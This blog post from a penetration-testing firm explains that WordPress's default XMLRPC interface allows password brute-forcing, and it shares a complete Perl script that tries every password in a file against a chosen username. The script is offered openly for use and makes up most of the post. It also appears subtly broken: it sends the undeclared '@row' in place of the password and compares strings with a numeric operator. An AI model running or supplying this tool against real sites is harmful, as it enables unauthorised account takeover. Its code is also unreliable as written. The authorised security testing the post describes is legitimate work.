Evaluating wordpress XMLRPC security – the perl way

During our penetration testing assignments, our consultants regulary deal with widely used Content Management Systems such as WordPress. An important factor in CMS security is the patch management of both the CMS but also (and more importantly) the used plugins.

A seperate area of attention however is the authentication management and its corresponding controls. It is widely known that, without adequate protection, many wordpress installations will allow for enumeration of usernames. This fact in itself already mandates use of plugins that protect against brute force password guessing attempts through the wordpress admin inlog page.

If protection against brute force password guessing on the admin login page is found to be adequate, the authentication management checks are not complete! If the XMLRPC interface, that wordpress offers by default, has not been deactivated, it will also allow for a brute force password attack using previously harvested usernames.

Depending on the nature of the penetration test, we might stop at the conclusion that the XMLRPC interface is still active and define suitable advice for remedition of the related risk. But sometimes, that’s just not good enough and you want to actually perform the brute force attack to evaluate the level of password security.

Unfortunately, the lazy are not served very easily here. A to-the-point script for the XMLRPC brute force password attack is hard to find and if found, often not working the intended way. At nSEC/Resilience, we like to solve these situations the Dutch way: quick and dirty. We have set up a perl script for this purpose as part of our extensive custom script library. And simply because we care, we’d like to share it with you here. All that is required is the XML perl libraries referenced in the script and a password list in txt in the directory you install the script in.

Please note that we provide this script as is, without any form of support or guarantee (specifically the incorrect username/password string can differ and might need updating). Use responsibly and have fun!

 


 

#!/usr/local/bin/perl
####################################################################
#
# 2016 nSEC Resilience - please send us your positive vibes : )
# Define correct URL with flag -t
# Define target username with flag -u
# Passwords file: place in same dir as perl script as passwords.txt
#
####################################################################
    #use strict;
    #use warnings;
    require RPC::XML;
    require RPC::XML::Client;
    
    use Getopt::Std;
    my %options=();
    getopts("t:u:", \%options);
    
    if (not defined $options{t} or not defined $options{u} )
    {
    print"not all flags defined: \n -t, -u are mandatory.\n";
    print"  -t: URL to xmlrpc.php of the wordpress-installation\n";
    print"  -u: target username for example admin\n";
    
    print "Other things found on the command line:\n" if $ARGV[0];
        foreach (@ARGV)
        {
        print "$_\n";
        }
    
    exit;
    }
    
        
    $x = 0;
    
    $cli = RPC::XML::Client->new($options{t});
    
    my $filename = 'passwords.txt';
    open(my $fh, '<:encoding(UTF-8)', $filename)
        or die "Could not open file '$filename' $!";
 
    while (my $row = <$fh>) {
        chomp $row;
            
        $resp = $cli->send_request('wp.getUsersBlogs' => {
        Username     => $options{u} ,
        Password     => @row,
        });
    
        $hash = $resp->value;
    
        if ($hash->{faultString} != "Invalid username/password, please try again.") {
            die "password found: @row";
            }
        
        $x = $x +1;
        $substr = substr $x, -1;
        
        if ($substr == "0") {
            print "$x";
            }
        
    }
    
    print "\n";
    print "All passwords in file used, no successful password found\n";